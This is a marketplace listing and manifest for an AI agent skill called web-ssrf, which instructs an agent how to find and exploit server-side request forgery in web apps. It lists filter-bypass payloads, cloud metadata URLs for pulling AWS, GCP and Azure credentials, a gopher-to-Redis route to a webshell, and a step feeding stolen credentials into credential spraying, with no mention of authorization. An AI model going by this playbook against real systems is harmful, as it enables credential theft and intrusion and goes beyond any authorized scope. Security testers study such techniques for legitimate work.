Skip to content
Skillv1.0.0

web-ssrf

Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redire

by NoNFake(0) 0 installs
Free
Sign in to install

Free account. Installing gives you the manifest plus copy-paste snippets.

See reviews

About

Imported from NoNFake/fuckcode (packages/opencode/skills/web/ssrf/SKILL.md). Install upstream with npx skills add NoNFake/fuckcode --skill ssrf. Copyright stays with the author.

Server-Side Request Forgery (SSRF)

When this fires

The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.

Detect

Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:

# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site   # then watch for the server-sourced hit

Compare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).

Decide — filter bypass

  • Blocklist of 127.0.0.1/localhosthttp://127.1, http://0, http://[::1], http://2130706433 (decimal), http://0x7f000001, http://127.0.0.1.nip.io.
  • Allowlist/parser confusion → http://allowed@evil, http://evil#allowed, http://allowed.evil.com, CR/LF + @, or a redirect you control (302 → internal).
  • Scheme filter → gopher:// (raw TCP → Redis/SMTP/internal HTTP), file://, dict://.

Exploit → PROVE IMPACT

# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/      # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/  (Header Metadata-Flavor: Google)  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Header Metadata:true)  # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing

Proof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.

False positives / pitfalls

  • Client-side fetch (the BROWSER requests it) = not SSRF.
  • WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
  • Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/nonfake-fuckcode-ssrf/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

nonfake-fuckcode-ssrf.ocm.jsonjson
{
  "ocm": "1",
  "id": "nonfake-fuckcode-ssrf",
  "kind": "skill",
  "name": "web-ssrf",
  "description": "Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, \"fetch failed\", webhook, image proxy, /_next/image, remotePatterns, redirect.",
  "publisher": "NoNFake",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "coding"
    ],
    "tags": [
      "skill-md",
      "vuln-assess",
      "exploitation",
      "github"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, \"fetch failed\", webhook, image proxy, /_next/image, remotePatterns, redirect."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/NoNFake/fuckcode",
      "path": "packages/opencode/skills/web/ssrf/SKILL.md",
      "ref": "989207ad6e87babd5ce7b79ab38825a8db829d7c",
      "url": "https://github.com/NoNFake/fuckcode/blob/989207ad6e87babd5ce7b79ab38825a8db829d7c/packages/opencode/skills/web/ssrf/SKILL.md",
      "key": "NoNFake/fuckcode/packages/opencode/skills/web/ssrf/SKILL.md"
    }
  },
  "instructions": "# Server-Side Request Forgery (SSRF)\n\n## When this fires\nThe server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js `/_next/image`), XML/SVG parsers.\n\n## Detect\nPoint it at an OOB listener; a callback from the SERVER's IP confirms SSRF:\n```bash\n# use interactsh / a collaborator / your own listener\nurl=http://<OOB-id>.oast.site   # then watch for the server-sourced hit\n```\nCompare internal vs external: `http://127.0.0.1:<port>` / `http://localhost` responses vs a dead port",
  "cost": {
    "context_tokens": 557
  }
}

Fetch it by URL: GET /api/v1/registry/nonfake-fuckcode-ssrf/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.